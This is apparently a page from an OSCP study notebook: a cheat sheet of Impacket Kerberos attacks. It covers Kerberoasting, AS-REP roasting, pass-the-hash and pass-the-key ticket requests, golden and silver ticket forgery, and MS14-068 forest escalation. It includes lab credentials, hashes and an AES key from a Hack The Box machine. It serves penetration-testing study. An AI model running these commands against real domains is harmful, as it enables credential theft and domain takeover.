Impacket — Kerberos Scripts

Ctrl+F: GetUserSPNs · GetNPUsers · getTGT · -aesKey · AES256 · ticketer · -hashes

External: Internal All The Things — Kerberos Tickets External: Internal All The Things — S4U External: Internal All The Things — Constrained Delegation External: Internal All The Things — Bronze Bit

Overview

Script	Attack	Creds needed?	Hashcat mode
`GetUserSPNs`	Kerberoasting	Low-priv domain user	13100
`GetNPUsers`	AS-REP Roasting	None (for vulnerable users)	18200
`getTGT`	Request TGT	Password, NT hash, or AES key	—
`getST`	Request service ticket	Valid TGT/ccache	—
`ticketer`	Forge Golden/Silver ticket	krbtgt or service hash	—
`raiseChild`	Child → EA (MS14-068)	Child domain machine/user	—

Full Kerberos attack workflows: see Kerberoast and Kerbrute.

Prerequisite: Kerberos Setup - krb5.conf + sync time — sudo timedatectl set-ntp false then sudo ntpdate -s DC_IP — see Time Sync.

📌 What you obtained → what to do next

Script	You get	Next steps
GetUserSPNs	`$krb5tgs$...` hash file	Use Kerberoast Hash
GetNPUsers	`$krb5asrep$...` hash file	Use AS-REP Hash
getTGT	`user.ccache` (TGT)	Use Kerberos Ticket
getST	`user.ccache` (+ TGS)	Use Kerberos Ticket
ticketer	`administrator.ccache`	Use Kerberos Ticket
raiseChild	EA on parent domain	Use raiseChild EA

📌 1) GetUserSPNs.py — Kerberoasting

Finds accounts with SPNs, requests TGS tickets, outputs crackable hashes.

Flags

Flag	Description
`-dc-ip IP`	Domain Controller IP (required)
`-request`	Request TGS tickets (needed for cracking)
`-outputfile FILE`	Save hashes to file
`-request-user USER`	Target single user
`-hashes LM:NT`	Auth with hash instead of password
`-aesKey HEX`	Auth with AES128/AES256 Kerberos key
`-k`	Kerberos auth (existing ccache)
`-no-preauth`	Don’t use pre-auth (specific cases)
`-debug`	Debug

Examples

# Enumerate SPN accounts only
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10
 
# Request + save tickets for cracking
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
 
# Pass-the-Hash auth
impacket-GetUserSPNs corp.local/user -hashes ':NT_HASH' -dc-ip 10.10.10.10 -request
 
# Pass-the-Key (AES)
impacket-GetUserSPNs corp.local/user -aesKey AES256_HEX_KEY -dc-ip 10.10.10.10 -request
 
# Single user
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request-user svc_sql -request

Obtained: kerberoast.txt → crack → Use Kerberoast Hash

📌 2) GetNPUsers.py — AS-REP Roasting

Targets accounts with “Do not require Kerberos preauthentication” — no creds needed if you have a username list.

Flags

Flag	Description
`-dc-ip IP`	Domain Controller IP (required)
`-no-pass`	No password (unauthenticated)
`-usersfile FILE`	Username list
`-users USER`	Single username
`-request`	Request AS-REP hashes
`-outputfile FILE`	Save to file
`-format hashcat`	Hashcat-compatible output
`-format john`	John-compatible output

Examples

# No creds — enumerate + roast from user list
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.10 -no-pass -usersfile users.txt -outputfile asrep.txt
 
# Single user
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.10 -no-pass -users jsmith -request
 
# With creds — find all vulnerable accounts
impacket-GetNPUsers corp.local/user:password -dc-ip 10.10.10.10 -request -outputfile asrep.txt

Get usernames first with Kerbrute, enum4linux, or rpcclient.

Obtained: asrep.txt → crack → Use AS-REP Hash

📌 3) getTGT.py — Request Ticket-Granting Ticket

# With password
impacket-getTGT corp.local/user:password -dc-ip 10.10.10.10
 
# With NT hash (Pass-the-Hash)
impacket-getTGT corp.local/user -hashes ':NT_HASH' -dc-ip 10.10.10.10
 
# With AES256 key (from LSASS dump / pypykatz / Mimikatz sekurlsa::ekeys)
impacket-getTGT BLACKFIELD.LOCAL/svc_backup \
    -aesKey 20a3e879a3a0ca4f51db1e63514a27ac18eef553d8f30c29805c398c97599e91 \
    -dc-ip 10.10.10.10
 
# AES128 key (64 hex chars for AES256, 32 for AES128)
impacket-getTGT corp.local/user -aesKey AES128_HEX_KEY -dc-ip 10.10.10.10

Where AES keys come from

Source	Command / output
pypykatz LSASS dump	`AES256 Key: 20a3e879...` → use hex after `AES256 Key:`
Mimikatz	`sekurlsa::ekeys` → `aes256_hmac` value
secretsdump	Sometimes in output for machine accounts

Strip the label — -aesKey wants raw hex only (64 chars for AES256).

→ pypykatz · LSASS · Mimikatz > sekurlsa::ekeys

getTGT flags

Flag	Description
`-dc-ip IP`	Domain Controller (required for reliable auth)
`-hashes LM:NT`	NT hash (`:NT` if no LM)
`-aesKey HEX`	AES128 or AES256 Kerberos key (hex string)
`-k`	Use existing ccache (uncommon on getTGT itself)

Overpass-the-hash: Request TGT with hash or AES key instead of plaintext password — modern AD prefers AES when available.

Obtained: user.ccache → Use Kerberos Ticket

📌 4) getST.py — Request Service Ticket

# Request TGS for a specific SPN (need valid ccache first)
export KRB5CCNAME=user.ccache
impacket-getST corp.local/user -spn cifs/TARGET.corp.local -dc-ip 10.10.10.10
 
# With AES key instead of password (RBCD / Bronze Bit scenarios)
impacket-getST corp.local/user -spn cifs/TARGET.corp.local \
    -aesKey AES256_HEX_KEY -dc-ip 10.10.10.10

Obtained: updated user.ccache with TGS → Use Kerberos Ticket

📌 5) ticketer.py — Forge Kerberos Tickets

Syntax: impacket-ticketer [options] <username> — username to impersonate is the last positional argument, not the first. Wrong: impacket-ticketer MSSQLSVC/... Administrator as first arg.

Golden Ticket (needs krbtgt NT hash)

impacket-ticketer -nthash KRBTGT_NTHASH -domain-sid S-1-5-21-... -domain corp.local administrator

Golden Ticket — child domain + parent EA (`-extra-sid`)

When you have krbtgt hash from child domain and want Enterprise Admin on parent — use -extra-sid with parent domain’s Enterprise Admins SID (-519):

# Discover trusts first (on-box): nltest /domain_trusts → [[nltest]]
# Get SIDs: impacket-lookupsid domain/user:pass@DC_IP
 
impacket-ticketer -nthash KRBTGT_NTHASH \
    -domain child.corp.local \
    -domain-sid S-1-5-21-CHILDDOMAINSID \
    -extra-sid S-1-5-21-PARENTDOMAINSID-519 \
    hacker
 
export KRB5CCNAME=hacker.ccache

Flag	Purpose
`-domain`	Child FQDN where you have krbtgt hash
`-domain-sid`	Child domain SID
`-extra-sid`	Parent Enterprise Admins RID 519 appended to SID
Last arg	Username to impersonate in ticket

→ nltest · Use raiseChild EA (alternative MS14-068 path)

Silver Ticket (needs service account NT hash)

impacket-ticketer -nthash SERVICE_NTHASH \
    -domain-sid S-1-5-21-... \
    -domain corp.local \
    -spn cifs/TARGET.corp.local \
    administrator

Silver Ticket — MSSQL (Signed HTB example)

# Service account hash (from secretsdump, or pypykatz crypto nt 'password')
pypykatz crypto nt 'purPLE9795!@'
# → ef699384c3285c54128a3ee1ddb1a0cc
 
# Domain SID from MSSQL SUSER_SID + [[hex_to_sid]] (drop -500 RID)
 
impacket-ticketer \
    -spn MSSQLSVC/dc01.signed.htb \
    -domain signed.htb \
    -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
    -nthash ef699384c3285c54128a3ee1ddb1a0cc \
    Administrator
 
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass signed.htb/Administrator@dc01.signed.htb -dc-ip DC_IP

Flag	Silver ticket
`-spn`	Target service SPN (e.g. `MSSQLSVC/dc01.domain.htb`)
`-nthash`	Service account NT hash (not krbtgt)
`-domain` / `-domain-sid`	Target domain
Last arg	User to impersonate (`Administrator`)

Get domain-sid from: lookupsid & samrdump · rpcclient · hex_to_sid via MSSQL SUSER_SID()

Obtained: administrator.ccache → Use Kerberos Ticket

📌 6) raiseChild.py — Child Domain → Enterprise Admin (MS14-068)

Legacy but in PEN-200: Exploits MS14-068 (Kerberos PAC validation) when you control a computer account in a child domain and want Enterprise Admin on the forest root.

Requirements

Writable computer account in child domain (or ability to create one)
Child domain trusts parent (typical AD forest)
DC not fully patched for MS14-068 (common in lab environments)

Usage

# Create machine account first (if needed)
impacket-addcomputer -computer-name 'BADPC$' -computer-pass 'Password123!' -dc-ip CHILD_DC_IP 'CHILD.LOCAL/user:password'
 
# Exploit — escalate to EA on parent domain
impacket-raiseChild -target-exec 10.10.10.10 CHILD.LOCAL/user:password
 
# With existing machine account hash
impacket-raiseChild CHILD.LOCAL/'BADPC$':'Password123!'@CHILD_DC_IP

What it does

Creates Golden Ticket for child domain
Abuses trust relationship + MS14-068 PAC flaw
Grants Enterprise Admin privileges on parent domain

Modern exam: More common paths are Kerberoast → ACL abuse → DCSync. Know raiseChild exists for forest/trust lab boxes.

See also impacket-goldenPac (similar era).

Obtained: EA access on parent → Use raiseChild EA

📌 Quick Cheat Sheet

# ─── KERBEROAST → [[Use Kerberoast Hash]] ─────────────────────
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request -outputfile kerb.txt
 
# ─── AS-REP → [[Use AS-REP Hash]] ─────────────────────────────
impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt -outputfile asrep.txt
 
# ─── GET TGT → [[Use Kerberos Ticket]] ────────────────────────
impacket-getTGT corp.local/user:pass -dc-ip DC_IP
impacket-getTGT corp.local/user -hashes ':NT_HASH' -dc-ip DC_IP
impacket-getTGT corp.local/svc_backup -aesKey AES256_HEX -dc-ip DC_IP
 
# ─── GOLDEN TICKET (child + parent EA) → [[Use Kerberos Ticket]] ─
impacket-ticketer -nthash KRBTGT_HASH -domain child.local -domain-sid CHILD_SID -extra-sid PARENT_SID-519 hacker
 
# ─── SILVER TICKET (MSSQL) → [[Use Kerberos Ticket]] ──────────
pypykatz crypto nt 'ServicePassword!'
impacket-ticketer -spn MSSQLSVC/dc01.domain.htb -domain domain.htb -domain-sid S-1-5-21-... -nthash SERVICE_NTHASH Administrator
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass domain.htb/Administrator@dc01.domain.htb -dc-ip DC_IP

Pearson's OSCP Notebook

Explorer

Kerberos Scripts

Impacket — Kerberos Scripts

Overview

📌 What you obtained → what to do next

📌 1) GetUserSPNs.py — Kerberoasting

Flags

Examples

📌 2) GetNPUsers.py — AS-REP Roasting

Flags

Examples

📌 3) getTGT.py — Request Ticket-Granting Ticket

Where AES keys come from

getTGT flags

📌 4) getST.py — Request Service Ticket

📌 5) ticketer.py — Forge Kerberos Tickets

Golden Ticket (needs krbtgt NT hash)

Golden Ticket — child domain + parent EA (`-extra-sid`)

Silver Ticket (needs service account NT hash)

Silver Ticket — MSSQL (Signed HTB example)

📌 6) raiseChild.py — Child Domain → Enterprise Admin (MS14-068)

Requirements

Usage

What it does

📌 Quick Cheat Sheet

Graph View

Table of Contents

Backlinks

Pearson's OSCP Notebook

Explorer

Kerberos Scripts

Impacket — Kerberos Scripts

Overview

📌 What you obtained → what to do next

📌 1) GetUserSPNs.py — Kerberoasting

Flags

Examples

📌 2) GetNPUsers.py — AS-REP Roasting

Flags

Examples

📌 3) getTGT.py — Request Ticket-Granting Ticket

Where AES keys come from

getTGT flags

📌 4) getST.py — Request Service Ticket

📌 5) ticketer.py — Forge Kerberos Tickets

Golden Ticket (needs krbtgt NT hash)

Golden Ticket — child domain + parent EA (-extra-sid)

Silver Ticket (needs service account NT hash)

Silver Ticket — MSSQL (Signed HTB example)

📌 6) raiseChild.py — Child Domain → Enterprise Admin (MS14-068)

Requirements

Usage

What it does

📌 Quick Cheat Sheet

Related Tools

Related Notes

Graph View

Table of Contents

Backlinks

Golden Ticket — child domain + parent EA (`-extra-sid`)